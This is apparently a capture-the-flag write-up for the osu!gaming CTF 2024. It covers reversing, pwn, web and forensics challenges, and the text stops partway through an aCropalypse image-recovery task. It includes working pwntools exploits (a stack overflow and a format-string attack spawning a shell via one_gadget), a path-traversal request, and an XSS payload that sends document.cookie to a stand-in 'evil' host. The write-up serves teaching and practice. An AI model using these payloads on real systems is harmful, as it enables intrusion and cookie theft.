  unsigned int v10; // [rsp+24h] [rbp-10Ch]
  unsigned int v11; // [rsp+24h] [rbp-10Ch]
  unsigned int v12; // [rsp+58h] [rbp-D8h]
  unsigned int v13; // [rsp+74h] [rbp-BCh]
  unsigned int v14; // [rsp+78h] [rbp-B8h]
  unsigned int v15; // [rsp+A0h] [rbp-90h]
  char v16; // [rsp+C4h] [rbp-6Ch]
  unsigned int v17; // [rsp+C8h] [rbp-68h]
  int v18; // [rsp+D0h] [rbp-60h]
  unsigned int v19; // [rsp+E4h] [rbp-4Ch]
  unsigned int v20; // [rsp+F4h] [rbp-3Ch]
  unsigned int v21; // [rsp+118h] [rbp-18h]
  unsigned int v22; // [rsp+120h] [rbp-10h]
  char v23; // [rsp+12Ch] [rbp-4h]

  v22 = *a1 - 32;
  *a1 = v22;
  i32_store(a1 + 4, v22 + 28LL, a2);
  i32_store(a1 + 4, v22 + 24LL, a3);
  v21 = i32_load(a1 + 4, v22 + 24LL);
  i32_store(a1 + 4, v22 + 20LL, v22);
  v20 = v22 - ((4 * v21 + 15) & 0xFFFFFFF0);
  *a1 = v20;
  i32_store(a1 + 4, v22 + 16LL, v21);
  i32_store(a1 + 4, v22 + 12LL, 0LL);
  while ( 1 )
  {
    v19 = i32_load(a1 + 4, v22 + 12LL);
    if ( v19 >= (unsigned int)i32_load(a1 + 4, v22 + 24LL) )
      break;
    v18 = i32_load(a1 + 4, v22 + 28LL);
    v17 = i32_load(a1 + 4, v22 + 12LL) + v18;
    v16 = i32_load8_u(a1 + 4, v17);
    v15 = 4 * i32_load(a1 + 4, v22 + 12LL) + v20;
    i32_store(a1 + 4, v15, (unsigned int)(v16 - 97));
    v10 = i32_load(a1 + 4, v22 + 12LL) + 1;
    i32_store(a1 + 4, v22 + 12LL, v10);
  }
  v23 = 0;
  if ( !(unsigned int)i32_load(a1 + 4, v20 + 4LL) )
  {
    v23 = 0;
    if ( !(unsigned int)i32_load(a1 + 4, v20 + 32LL) )
    {
      v23 = 0;
      if ( !(unsigned int)i32_load(a1 + 4, v20 + 44LL) )
      {
        v14 = i32_load(a1 + 4, v20);
        v13 = i32_load(a1 + 4, v20 + 8LL);
        v8 = i32_load(a1 + 4, v20 + 12LL);
        v6 = i32_load(a1 + 4, v20 + 16LL);
        v23 = 0;
        if ( (w2c_checker_f1(a1, v14, v13, v8, v6) & 1) != 0 )
        {
          v12 = i32_load(a1 + 4, v20 + 20LL);
          v11 = i32_load(a1 + 4, v20 + 24LL);
          v9 = i32_load(a1 + 4, v20 + 28LL);
          v7 = i32_load(a1 + 4, v20 + 36LL);
          v5 = i32_load(a1 + 4, v20 + 40LL);
          v23 = w2c_checker_f2(a1, v12, v11, v9, v7, v5);
        }
      }
    }
  }
  i32_load(a1 + 4, v22 + 20LL);
  *a1 = v22 + 32;
  return v23 & 1;
}
_BOOL8 __fastcall w2c_checker_f1(_DWORD *a1, unsigned int a2, unsigned int a3, unsigned int a4, unsigned int a5)
{
  int v9; // [rsp+44h] [rbp-94h]
  int v10; // [rsp+4Ch] [rbp-8Ch]
  int v11; // [rsp+54h] [rbp-84h]
  int v12; // [rsp+7Ch] [rbp-5Ch]
  int v13; // [rsp+A4h] [rbp-34h]
  unsigned int v14; // [rsp+C8h] [rbp-10h]
  bool v15; // [rsp+D4h] [rbp-4h]

  v14 = *a1 - 16;
  i32_store(a1 + 4, v14 + 12LL, a2);
  i32_store(a1 + 4, v14 + 8LL, a3);
  i32_store(a1 + 4, v14 + 4LL, a4);
  i32_store(a1 + 4, v14, a5);
  v15 = 0;
  if ( (unsigned int)i32_load(a1 + 4, v14 + 12LL) == 22 )
  {
    v13 = i32_load(a1 + 4, v14 + 8LL);
    v15 = 0;
    if ( (unsigned int)i32_load(a1 + 4, v14 + 4LL) + v13 == 30 )
    {
      v12 = i32_load(a1 + 4, v14 + 4LL);
      v15 = 0;
      if ( (unsigned int)i32_load(a1 + 4, v14) * v12 == 168 )
      {
        v11 = i32_load(a1 + 4, v14 + 12LL);
        v10 = i32_load(a1 + 4, v14 + 8LL) + v11;
        v9 = i32_load(a1 + 4, v14 + 4LL) + v10;
        return (unsigned int)i32_load(a1 + 4, v14) + v9 == 66;
      }
    }
  }
  return v15;
}
_BOOL8 __fastcall w2c_checker_f2(
        _DWORD *a1,
        unsigned int a2,
        unsigned int a3,
        unsigned int a4,
        unsigned int a5,
        unsigned int a6)
{
  int v11; // [rsp+4Ch] [rbp-154h]
  int v12; // [rsp+74h] [rbp-12Ch]
  int v13; // [rsp+9Ch] [rbp-104h]
  int v14; // [rsp+C8h] [rbp-D8h]
  int v15; // [rsp+CCh] [rbp-D4h]
  int v16; // [rsp+D4h] [rbp-CCh]
  int v17; // [rsp+100h] [rbp-A0h]
  int v18; // [rsp+104h] [rbp-9Ch]
  int v19; // [rsp+10Ch] [rbp-94h]
  int v20; // [rsp+134h] [rbp-6Ch]
  int v21; // [rsp+13Ch] [rbp-64h]
  int v22; // [rsp+144h] [rbp-5Ch]
  int v23; // [rsp+14Ch] [rbp-54h]
  int v24; // [rsp+174h] [rbp-2Ch]
  int v25; // [rsp+17Ch] [rbp-24h]
  int v26; // [rsp+184h] [rbp-1Ch]
  int v27; // [rsp+18Ch] [rbp-14h]
  unsigned int v28; // [rsp+190h] [rbp-10h]
  bool v29; // [rsp+19Ch] [rbp-4h]

  v28 = *a1 - 32;
  i32_store(a1 + 4, v28 + 28LL, a2);
  i32_store(a1 + 4, v28 + 24LL, a3);
  i32_store(a1 + 4, v28 + 20LL, a4);
  i32_store(a1 + 4, v28 + 16LL, a5);
  i32_store(a1 + 4, v28 + 12LL, a6);
  v27 = i32_load(a1 + 4, v28 + 28LL);
  v26 = i32_load(a1 + 4, v28 + 24LL) + v27;
  v25 = i32_load(a1 + 4, v28 + 20LL) + v26;
  v24 = i32_load(a1 + 4, v28 + 16LL) + v25;
  v29 = 0;
  if ( (unsigned int)i32_load(a1 + 4, v28 + 12LL) + v24 == 71 )
  {
    v23 = i32_load(a1 + 4, v28 + 28LL);
    v22 = i32_load(a1 + 4, v28 + 24LL) * v23;
    v21 = i32_load(a1 + 4, v28 + 20LL) * v22;
    v20 = i32_load(a1 + 4, v28 + 16LL) * v21;
    v29 = 0;
    if ( (unsigned int)i32_load(a1 + 4, v28 + 12LL) * v20 == 449280 )
    {
      v19 = i32_load(a1 + 4, v28 + 28LL);
      v18 = i32_load(a1 + 4, v28 + 28LL) * v19;
      v17 = i32_load(a1 + 4, v28 + 24LL);
      v29 = 0;
      if ( (unsigned int)i32_load(a1 + 4, v28 + 24LL) * v17 + v18 == 724 )
      {
        v16 = i32_load(a1 + 4, v28 + 20LL);
        v15 = i32_load(a1 + 4, v28 + 20LL) * v16;
        v14 = i32_load(a1 + 4, v28 + 16LL);
        v29 = 0;
        if ( (unsigned int)i32_load(a1 + 4, v28 + 16LL) * v14 + v15 == 313 )
        {
          v13 = i32_load(a1 + 4, v28 + 12LL);
          v29 = 0;
          if ( (unsigned int)i32_load(a1 + 4, v28 + 12LL) * v13 == 64 )
          {
            v12 = i32_load(a1 + 4, v28 + 28LL);
            v29 = 0;
            if ( (unsigned int)i32_load(a1 + 4, v28 + 20LL) + v12 == 30 )
            {
              v11 = i32_load(a1 + 4, v28 + 28LL);
              return v11 - (unsigned int)i32_load(a1 + 4, v28 + 16LL) == 5;
            }
          }
        }
      }
    }
  }
  return v29;
}

Or, if you have JEB Decompiler:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
int checker(int param0, int param1) {
    int* ptr0 = __g0 - 8;

    __g0 -= 8;
    *(ptr0 + 7) = param0;
    *(ptr0 + 6) = param1;
    int v0 = *(ptr0 + 6);
    *(ptr0 + 5) = ptr0;
    int* ptr1 = (int*)((int)ptr0 - ((v0 * 4 + 15) & 0xfffffff0));
    __g0 = (int)ptr0 - ((v0 * 4 + 15) & 0xfffffff0);
    *(ptr0 + 4) = v0;
    *(ptr0 + 3) = 0;
    while((unsigned int)*(ptr0 + 3) < (unsigned int)*(ptr0 + 6)) {
        *(int*)(*(ptr0 + 3) * 4 + (int)ptr1) = (int)*(char*)(*(ptr0 + 3) + *(ptr0 + 7)) - 97;
        ++*(ptr0 + 3);
    }

    int v1 = 0;
    if(!*(ptr1 + 1)) {
        v1 = 0;
        if(!*(ptr1 + 8)) {
            v1 = 0;
            if(!*(ptr1 + 11)) {
                int v2 = __f1(*(ptr1 + 4), *(ptr1 + 3), *(ptr1 + 2), *ptr1);
                v1 = 0;
                if((v2 & 0x1) != 0) {
                    v1 = __f2(*(ptr1 + 10), *(ptr1 + 9), *(ptr1 + 7), *(ptr1 + 6), *(ptr1 + 5));
                }
            }
        }
    }

    __g0 = ptr0 + 8;
    return v1 & 0x1;
}
int __f1(int param0, int param1, int param2, int param3) {
    int* ptr0 = __g0 - 4;

    *(ptr0 + 3) = param0;
    *(ptr0 + 2) = param1;
    *(ptr0 + 1) = param2;
    *ptr0 = param3;
    int v0 = 0;
    if(*(ptr0 + 3) == 22) {
        v0 = 0;
        if(*(ptr0 + 1) + *(ptr0 + 2) == 30) {
            v0 = 0;
            if(*(ptr0 + 1) * *ptr0 == 168) {
                v0 = (unsigned int)(*(ptr0 + 1) + *(ptr0 + 2) + (*(ptr0 + 3) + *ptr0) == 66);
            }
        }
    }

    return v0 & 0x1;
}
int __f2(int param0, int param1, int param2, int param3, int param4) {
    int* ptr0 = __g0 - 8;

    *(ptr0 + 7) = param0;
    *(ptr0 + 6) = param1;
    *(ptr0 + 5) = param2;
    *(ptr0 + 4) = param3;
    *(ptr0 + 3) = param4;
    int v0 = 0;
    if(*(ptr0 + 3) + *(ptr0 + 4) + (*(ptr0 + 5) + *(ptr0 + 6)) + *(ptr0 + 7) == 71) {
        v0 = 0;
        if(*(ptr0 + 3) * *(ptr0 + 4) * (*(ptr0 + 5) * *(ptr0 + 6)) * *(ptr0 + 7) == 0x6db00) {
            v0 = 0;
            if(*(ptr0 + 6) * *(ptr0 + 6) + *(ptr0 + 7) * *(ptr0 + 7) == 724) {
                v0 = 0;
                if(*(ptr0 + 4) * *(ptr0 + 4) + *(ptr0 + 5) * *(ptr0 + 5) == 313) {
                    v0 = 0;
                    if(*(ptr0 + 3) * *(ptr0 + 3) == 64) {
                        v0 = 0;
                        if(*(ptr0 + 5) + *(ptr0 + 7) == 30) {
                            v0 = (unsigned int)(*(ptr0 + 7) - *(ptr0 + 4) == 5);
                        }
                    }
                }
            }
        }
    }

    return v0 & 0x1;
}

which seems more readable.

However, if you compare the two codes, you will noticed that they pass arguments in the opposite order(Similar reports in a writeup). By trying the both, it turned out that IDA was correct.

The constrains can then be simplified to this solve script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from z3 import *

x = [Int(f"x_{i}") for i in range(12)]
c = [i - 97 for i in x]
s = Solver()
s.add(
    0 == c[1],
    0 == c[8],
    0 == c[11],
    c[0] == 22,
    c[3] + c[2] == 30,
    c[3] * c[4] == 168,
    c[3] + c[2] + c[0] + c[4] == 66,
    c[10] + c[9] + (c[7] + c[6]) + c[5] == 71,
    c[10] * c[9] * (c[7] * c[6]) * c[5] == 449280,
    c[6] * c[6] + c[5] * c[5] == 724,
    c[9] * c[9] + c[7] * c[7] == 313,
    c[10] * c[10] == 64,
    c[7] + c[5] == 30,
    c[5] - c[9] == 5,
)
s.check()
m = s.model()
x = [m[i].as_long() for i in x]
print(bytes(x))

# osu{wasmosumania}

Pwn

betterthanu

challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>

FILE *flag_file;
char flag[100];

int main(void) {
    unsigned int pp;
    unsigned long my_pp;
    char buf[16];

    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    printf("How much pp did you get? ");
    fgets(buf, 100, stdin);
    pp = atoi(buf);

    my_pp = pp + 1;

    printf("Any last words?\n");
    fgets(buf, 100, stdin);

    if (pp <= my_pp) {
        printf("Ha! I got %d\n", my_pp);
        printf("Maybe you'll beat me next time\n");
    } else {
        printf("What??? how did you beat me??\n");
        printf("Hmm... I'll consider giving you the flag\n");

        if (pp == 727) {
            printf("Wait, you got %d pp?\n", pp);
            printf("You can't possibly be an NPC! Here, have the flag: ");

            flag_file = fopen("flag.txt", "r");
            fgets(flag, sizeof(flag), flag_file);
            printf("%s\n", flag);
        } else {
            printf("Just kidding!\n");
        }
    }

    return 0;
}

solution

Baby overflow.

1
2
3
4
5
6
7
from pwn import *
p = remote('chal.osugaming.lol',7279)
p.sendline(b'0')
p.sendline(b'a'*16+p64(0)+p32(0)+p32(727))
p.interactive()

# osu{i_cant_believe_i_saw_it}

miss-analyzer

challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char *v3; // rbx
  char mode; // [rsp+15h] [rbp-14Bh]
  __int16 miss; // [rsp+16h] [rbp-14Ah]
  char *hex_; // [rsp+18h] [rbp-148h] BYREF
  size_t n; // [rsp+20h] [rbp-140h] BYREF
  _BYTE *bin_; // [rsp+28h] [rbp-138h] BYREF
  size_t left_bytes; // [rsp+30h] [rbp-130h] BYREF
  _BYTE *stream; // [rsp+38h] [rbp-128h] BYREF
  char buffer[264]; // [rsp+40h] [rbp-120h] BYREF
  unsigned __int64 canary; // [rsp+148h] [rbp-18h]

  canary = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( 1 )
  {
    puts("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):");
    hex_ = 0LL;
    n = 0LL;
    if ( getline(&hex_, &n, stdin) <= 0 )
      break;
    v3 = hex_;
    v3[strcspn(hex_, "\n")] = 0;
    if ( !*hex_ )
      break;
    left_bytes = hexs2bin(hex_, &bin_);
    stream = bin_;
    if ( !left_bytes )
    {
      puts("Error: failed to decode hex");
      return 1;
    }
    puts("\n=~= miss-analyzer =~=");
    mode = read_byte(&stream, &left_bytes);
    if ( mode )
    {
      switch ( mode )
      {
        case 1:
          puts("Mode: osu!taiko");
          break;
        case 2:
          puts("Mode: osu!catch");
          break;
        case 3:
          puts("Mode: osu!mania");
          break;
      }
    }
    else
    {
      puts("Mode: osu!");
    }
    consume_bytes(&stream, &left_bytes, 4);
    read_string(&stream, &left_bytes, buffer, 0xFFu);
    printf("Hash: %s\n", buffer);
    read_string(&stream, &left_bytes, buffer, 0xFFu);
    printf("Player name: ");
    printf(buffer);
    putchar('\n');
    read_string(&stream, &left_bytes, buffer, 0xFFu);
    consume_bytes(&stream, &left_bytes, 10);
    miss = read_short(&stream, &left_bytes);
    printf("Miss count: %d\n", (unsigned int)miss);
    if ( miss )
      puts("Yep, looks like you missed.");
    else
      puts("You didn't miss!");
    puts("=~=~=~=~=~=~=~=~=~=~=\n");
    free(hex_);
    free(bin_);
  }
  return 0;
}

solution

The vulnerability lies in printf(buffer). And there comes the common routines for classic format string vulnerability: leaking libc, finding one_gadget, and overwritting retaddr.

Reading wiki on .osr format can help understand the rest of the code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ one_gadget ./libc.so.6 
0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL
  rbp == NULL || (u16)[rbp] == NULL

0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xebc85 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

By the way: one_gadget --script can be used to automatically test one_gadget useability

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(arch='amd64')
elf = ELF('./analyzer')
libc = ELF('./libc.so.6')
main = elf.symbols['main']
putchar_got = elf.got['putchar']
def make_str(s):
    return b'\x0b' + bytes([len(s)]) + (s.encode() if isinstance(s,str) else s)

# p = process('./analyzer')
p = remote('chal.osugaming.lol', 7273)
offset = 14
leak_libc_payload = '%51$p'
payload = b'\0'+b'a'*4 + make_str('0'*32) + make_str(leak_libc_payload) + make_str('0'*32) + b'a'*10 + b'\0'*2
p.sendline(payload.hex().encode())
p.recvuntil(b'Player name: ')
libc_base = int(p.recvline().decode().strip(),16) - 0x29d90
one_gadget = libc_base + 0xebc85
payload = b'\0'+b'a'*4 + make_str('1'*32) + make_str(fmtstr_payload(offset,{putchar_got:one_gadget})) + make_str('0'*32) + b'a'*10 + b'\0'*2
p.sendline(payload.hex().encode())  
p.interactive()

# osu{1_h4te_c!!!!!!!!}

Web

mikufanpage

challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const express = require('express'); 
const path = require('path');
  
const app = express(); 
const PORT = process.env.PORT ?? 3000;

app.use(express.static(path.join(__dirname, 'public')));
  
app.listen(PORT, (err) =>{ 
    if(!err) 
        console.log("mikufanpage running on port "+ PORT) 
    else 
        console.log("Err ", err); 
}); 

app.get("/image", (req, res) => {
    if (req.query.path.split(".")[1] === "png" || req.query.path.split(".")[1] === "jpg") { // only allow images
        res.sendFile(path.resolve('./img/' + req.query.path));
    } else {
        res.status(403).send('Access Denied');
    }
});

solution

req.query.path.split(".")[1] doesn’t means extension. Even GPT can notice this.

1
2
curl https://mikufanpage.web.osugaming.lol/image?path=.jpg./../flag.txt
# osu{miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku}

when-you-dont-see-it

challenge

welcome to web! there’s a flag somewhere on my osu! profile…

https://osu.ppy.sh/users/11118671

solution

Visit the webpage, in the introduction writes "nothing to see here".

1
2
3
4
5
6
7
8
9
$ curl https://osu.ppy.sh/users/11118671 | grep -oE ".{300}nothing to see here.{300}"
nt_banner&quot;:null,&quot;active_tournament_banners&quot;:[],&quot;badges&quot;:[],&quot;
comments_count&quot;:0,&quot;follower_count&quot;:66,&quot;groups&quot;:[],&quot;
mapping_follower_count&quot;:3,&quot;page&quot;:{&quot;html&quot;:&quot;&lt;div 
class=&#039;bbcode bbcode--profile-page&#039;&gt;nothing to see here 
\ud83d\udc40\ud83d\udc40 
&lt;span&gt;&lt;\/span&gt;&lt;\/div&gt;&quot;,&quot;raw&quot;:&quot;nothing to see here 
\ud83d\udc40\ud83d\udc40 [color=]the flag is b3N1e29rX3Vfc2VlX21lfQ== encoded with 
base64]&quot;},&quot;pending_beatmapset_count&quot;:0,&quot;previous_usernames&quot;:[&quot;AntiTeal&qu

the flag is b3N1e29rX3Vfc2VlX21lfQ== encoded with base64

1
2
$ echo b3N1e29rX3Vfc2VlX21lfQ== | base64 -d
osu{ok_u_see_me}

profile-page

challenge

app.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
import express from "express";
import expressSession from "express-session";
import cookieParser from "cookie-parser";
import crypto from "crypto";
import { JSDOM } from "jsdom";
import DOMPurify from "dompurify";

const app = express();
const PORT = process.env.PORT || 2727;

app.use(express.urlencoded({ extended: false }));
app.use(expressSession({
    secret: crypto.randomBytes(32).toString("hex"),
    resave: false,
    saveUninitialized: false
}));
app.use(express.static("public"));
app.use(cookieParser());
app.set("view engine", "hbs");

app.use((req, res, next) => {
    if (req.session.user && users.has(req.session.user)) {
        req.user = users.get(req.session.user);
        res.locals.user = req.user;
    }
    next();
});

const window = new JSDOM('').window;
const purify = DOMPurify(window);
const renderBBCode = (data) => {
    data = data.replaceAll(/\[b\](.+?)\[\/b\]/g, '<strong>$1</strong>');
    data = data.replaceAll(/\[i\](.+?)\[\/i\]/g, '<i>$1</i>');
    data = data.replaceAll(/\[u\](.+?)\[\/u\]/g, '<u>$1</u>');
    data = data.replaceAll(/\[strike\](.+?)\[\/strike\]/g, '<strike>$1</strike>');
    data = data.replaceAll(/\[color=#([0-9a-f]{6})\](.+?)\[\/color\]/g, '<span style="color: #$1">$2</span>');
    data = data.replaceAll(/\[size=(\d+)\](.+?)\[\/size\]/g, '<span style="font-size: $1px">$2</span>');
    data = data.replaceAll(/\[url=(.+?)\](.+?)\[\/url\]/g, '<a href="$1">$2</a>');
    data = data.replaceAll(/\[img\](.+?)\[\/img\]/g, '<img src="$1" />');
    return data;
};
const renderBio = (data) => {
    const html = renderBBCode(data);
    console.log("html = ", html);
    const sanitized = purify.sanitize(html);
    console.log("sanitized = ", sanitized);
    // do this after sanitization because otherwise iframe will be removed
    const res = sanitized.replaceAll(
        /\[youtube\](.+?)\[\/youtube\]/g,
        '<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/$1" frameborder="0" allowfullscreen></iframe>'
    );
    console.log("res = ", res);
    return res;
};

const sha256 = (data) => crypto.createHash('sha256').update(data).digest('hex');
const users = new Map();

const requiresLogin = (req, res, next) => req.user ? next() : res.redirect("/login");

app.post("/api/register", (req, res) => {
    const { username, password } = req.body;

    if (!username || typeof username !== "string" || !password || typeof password !== "string") {
        return res.end("missing username or password");
    }

    if (username.length < 5 || password.length < 8) {
        return res.end("username or password too short");
    }

    if (username.length > 30 || /[^A-Za-z0-9 ]/.test(username)) {
        return res.end("invalid username format");
    }

    if (users.has(username)) {
        return res.end("a user already exists with that username");
    }

    users.set(username, {
        username,
        password: sha256(password),
        bio: renderBio(`Welcome to ${username}'s page!`)
    });

    req.session.user = username;
    res.cookie("csrf", crypto.randomBytes(32).toString("hex"));
    res.redirect("/profile/" + username);
});

app.post("/api/login", (req, res) => {
    const { username, password } = req.body;

    if (!username || typeof username !== "string" || !password || typeof password !== "string") {
        return res.end("missing username or password");
    }

    if (!users.has(username)) {
        return res.end("no user exists with that username");
    }

    if (users.get(username).password !== sha256(password)) {
        return res.end("invalid password");
    }

    req.session.user = username;
    res.cookie("csrf", crypto.randomBytes(32).toString("hex"));
    res.redirect("/profile/" + username);
});

// TODO: update bio from UI
app.post("/api/update", requiresLogin, (req, res) => {
    const { bio } = req.body;
    if (!bio || typeof bio !== "string") {
        return res.end("missing bio");
    }
    if (!req.headers.csrf) {
        return res.end("missing csrf token");
    }
    if (req.headers.csrf !== req.cookies.csrf) {
        return res.end("invalid csrf token");
    }

    if (bio.length > 2048) {
        return res.end("bio too long");
    }

    req.user.bio = renderBio(bio);
    res.send(`Bio updated!`);
});

app.get("/login", (req, res) => res.render("login"));
app.get("/register", (req, res) => res.render("register"));
app.get("/profile", requiresLogin, (req, res) => res.redirect("/profile/" + req.user.username));
app.get("/profile/:user", (req, res) => {
    const { user } = req.params;
    if (!users.has(user)) {
        return res.end("no user exists with that username!");
    }
    res.locals.user = users.get(user);
    res.render("profile");
});

app.get("/", (req, res) => res.redirect("/profile"));

app.get('*', (req, res) => {
    res.set("Content-Type", "text/plain");
    res.status = 404;
    res.send(`Error: ${req.originalUrl} was not found`);
});

app.listen(PORT, () => console.log(`web/profile-page listening at http://localhost:${PORT}`));

adminbot_test.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// admin bot test script
// npm i puppeteer
const puppeteer = require("puppeteer");

const FLAG = "osu{test_flag}";
const SITE = "https://profile-page.web.osugaming.lol";
const sleep = ms => new Promise(r => setTimeout(r, ms));

async function visit(url) {
    let browser;
    try {
        browser = await puppeteer.launch({
            headless: true,
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                "--js-flags=--noexpose_wasm,--jitless",
            ],
            dumpio: true
        });

        let page = await browser.newPage();
        await page.goto(SITE, { timeout: 3000, waitUntil: 'domcontentloaded' });

        await page.evaluate((flag) => {
            document.cookie = "flag=" + flag + "; secure; path=/";
        }, FLAG);

        await page.close();
        page = await browser.newPage();

        await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
        await sleep(5000);

        await browser.close();
        browser = null;
    } catch (err) {
        console.log(err);
    } finally {
        if (browser) await browser.close();
    }
}

visit("http://localhost:2727/profile/aaaaa");

solution

Apparent XSS in renderBio():

1
2
3
4
5
// do this after sanitization because otherwise iframe will be removed
const res = sanitized.replaceAll(
    /\[youtube\](.+?)\[\/youtube\]/g,
    '<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/$1" frameborder="0" allowfullscreen></iframe>'
);

He even gave us sandbox="allow-scripts". So nice of him.

payload:

1
[youtube]" onload=fetch("http://evil/?c="+document.cookie) title="notitle[/youtube]

forensics

nathan-on-osu

challenge

nathan_on_osu.png

solution

Normal check:

1
2
3
4
5
$ pngcheck nathan_on_osu.png 
zlib warning:  different version (expected 1.2.13, using 1.3)

nathan_on_osu.png  additional data after IEND chunk
ERROR: nathan_on_osu.png

additional data after IEND chunk? Open it in a hex editor:

1
2
3
4
5
00000000  af 54 72 13 2b 00 00 00 00 49 45 4e 44 ae 42 60  |¯Tr.+....IEND®B`|
00000010  82 b1 3d a9 ee d7 92 a5 6d 93 37 3d 7d 6f fd d3  |.±=©î×.¥m.7=}oýÓ|
00000020  0f 57 b7 cf 5e f3 d3 ec d9 f7 7f dc 88 dd de 05  |.W·Ï^óÓìÙ÷.Ü.ÝÞ.|
00000030  1c f4 8d 9d d8 91 25 d8 8e 0f b0 dd 33 ef 7c b3  |.ô..Ø.%Ø..°Ý3ï|³|
00000040  b8 ed e9 85 47 b7 f6 9e 3e b9 e1 d0 d1 e5 3b f7  |¸íé.G·ö.>¹áÐÑå;÷|

Emm, not readable text.

Roll to the end:

1
2
3
4
5
6
00000000  92 6b e8 ab ee 48 0a e4 5e 9e d7 66 03 d0 7a d6  |.kè«îH.ä^.×f.ÐzÖ|
00000010  ed 05 90 a9 55 7b 6b e6 1a 75 78 41 df 13 b7 57  |í..©U{kæ.uxAß.·W|
00000020  25 b0 d3 2a 80 98 a6 d3 86 8c b2 0a 54 ac 8a 34  |%°Ó*..¦Ó..².T¬.4|
00000030  84 e4 4a 14 fb 54 25 9c 92 90 67 02 38 e4 65 83  |.äJ.ûT%...g.8äe.|
00000040  01 5d 13 36 5f f7 ff 01 7e 5a a1 4b af 7a aa c8  |.].6_÷ÿ.~Z¡K¯zªÈ|
00000050  00 00 00 00 49 45 4e 44 ae 42 60 82              |....IEND®B`.|

Another IEND?

A word hit me: aCropalypse. Known as CVE-2023-21036 and CVE-2023-28303.

There’s an out-of-the-box PoC: tool.png (Maybe a more well-known PoC is https://acropalypse.app/, but it never works for me)

However, having tried all the preset resolutions, all of them responsed with:

1
2
Error reconstructing the image!
Are you using the right mode and resolution?

To be honest, I stucked here for quite a while. After I had finished some other challenges, I came back to reinspect its source code:

1
2
3
except Exception:
    self.label_log.config(text=f"Error reconstructing the image! \nAre you using the right mode and resolution?", anchor='center', justify='center')
    self.reconstructing=False

Emm, why don’t you tell me what Exception it is?

1
2
3
4
5
except Exception as e:
    import traceback
    print(traceback.format_exc())
    self.label_log.config(text=f"Error reconstructing the image! \nAre you using the right mode and resolution?", anchor='center', justify='center')
    self.reconstructing=False

Re-running:

1
2
3
4
5
6
7
8
9
10
11
Traceback (most recent call last):
  File "/PATH/TO/osu!gaming CTF 2024/forensics/nathan-on-osu/Acropalypse-Multi-Tool-1.0.0/gui.py", line 381, in acrop_now
    image = image.resize((max_width, new_height))
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/.local/lib/python3.11/site-packages/PIL/Image.py", line 2157, in resize
    self.load()
  File "/home/kali/.local/lib/python3.11/site-packages/PIL/ImageFile.py", line 288, in load
    raise_oserror(err_code)
  File "/home/kali/.local/lib/python3.11/site-packages/PIL/ImageFile.py", line 72, in raise_oserror
    raise OSError(msg)
OSError: unrecognized data stream contents when reading image file

Well, here’s the context:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
try:
    if pathlib.Path(self.cropped_image_file).suffix == ".gif":
        image = Image.open(os.path.join(tempdir, 'restored.gif'))
    elif pathlib.Path(self.cropped_image_file).suffix == ".png":
        image = Image.open(os.path.join(tempdir, 'restored.png'))
        
    # Größe des Bildes entsprechend anpassen
    max_width = round(self.left_frame.winfo_width() * 0.98)
    max_height = round(self.left_frame.winfo_height() * 0.98)
    width, height = image.size
    if width > max_width:
